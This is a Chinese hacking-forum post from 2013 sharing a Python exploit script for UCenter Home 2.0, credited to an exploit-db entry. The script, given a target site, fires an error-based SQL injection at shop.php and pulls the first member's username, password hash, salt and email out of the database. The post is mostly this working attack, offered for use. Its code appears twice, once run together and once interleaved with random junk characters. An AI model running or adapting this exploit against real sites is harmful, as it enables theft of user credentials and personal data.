找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1958|回复: 0
打印 上一主题 下一主题

UCenter Home 2.0 EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-23 09:18:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
4 T5 A2 D/ h7 A# c3 X# y) U+ a5 ? * X% F; @, ], F

3 h/ [2 w; Z0 H+ H#!/usr/bin/env python  
, O2 r, _9 Q3 t1 b: M7 o
* b3 g1 `$ @5 L7 a  gimport sys  
6 C1 j7 f2 X7 o, `" Z5 r" [import urllib2    y7 c0 j2 L5 U  f# n3 ]- O
import re  7 w. I" c, p; C. L# E, |0 K
) A% ?( |, u( `; ~
def info():  2 o4 G7 N# d- a6 k9 [
    print 'From:http://www.exploit-db.com/exploits/14997/'
$ Z/ l4 K% ]  h& I; Z    print 'http://www.hake.cc/Web_loudong/'
1 n7 a" z/ o( r, ?" l# P) |    print 'changed:qiaoy'  ( A( g) G+ o. I6 z8 Y7 l  n
    print 'exp:'  2 P6 q5 {7 E( i; i: q, ?
    print ' ./UCenter_Home_2.0.py site'  
7 W, H) d* _9 |1 n) a) T ) R$ B& s+ o8 K+ p* l7 O4 L
def main():  6 [/ R3 l/ r- s2 o. u
    if len(sys.argv) != 2:  + H. q; O  x9 C
        info()  7 y3 I$ c% w# t3 C' H& ^9 p1 T& e5 E
    else:  
. C$ R* |. b6 ?" E5 _2 @8 B& U        site = sys.argv[1]  
3 N; a! Y6 [' Y3 o        if site[0:7] == 'http://':  
) w" s( S/ j: t- I" {, Q! H            sitesite =site  
" d6 z4 r- g$ d/ x        elif site[0:8] == 'https://':  
" _. D/ r! m5 `7 F+ Z3 g/ Y            sitesite = site  1 j/ A" D- y6 C# A) u
        else:  
* X% X' o' ^' p9 [" Y; B+ ], g( o+ r2 G            site = 'http://'+site  
/ ^8 H: F7 s! h+ b: j        try:  6 L+ r, ]" M$ Q, e* Y# Y
            url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'  
4 O+ P8 g) D# r+ ~            Value = urllib2.urlopen(url).read()  & |0 S9 Z: V( J( j1 u' u, H- _- k3 u4 L$ [
            Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]  
: U) Y9 O- M* h- A" W5 ^8 j, |            hacked = Msg.split(':')  5 S2 ]/ }5 a+ Q) p2 v! O
            print 'Name:    '+hacked[1]  
" T2 {- L) b( I6 V            print 'Passwd:  '+hacked[2]  # @8 C9 N( d) E, S1 {
            print 'salt:    '+hacked[3]  
3 g8 y* Z8 y3 z8 M% {3 K            print 'email:   '+hacked[4]  
8 c* S- x1 \/ b        except:  2 @7 i5 I0 S' L( D
            print 'Sorry,I can\'t work............'  
  ?) E  ?0 ~6 R! T$ M1 `; t2 O& D& X
: \3 w2 N5 c3 q9 v9 H( aif __name__ == '__main__':  
1 T% j0 r3 U2 f. L( ~0 }    main()
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表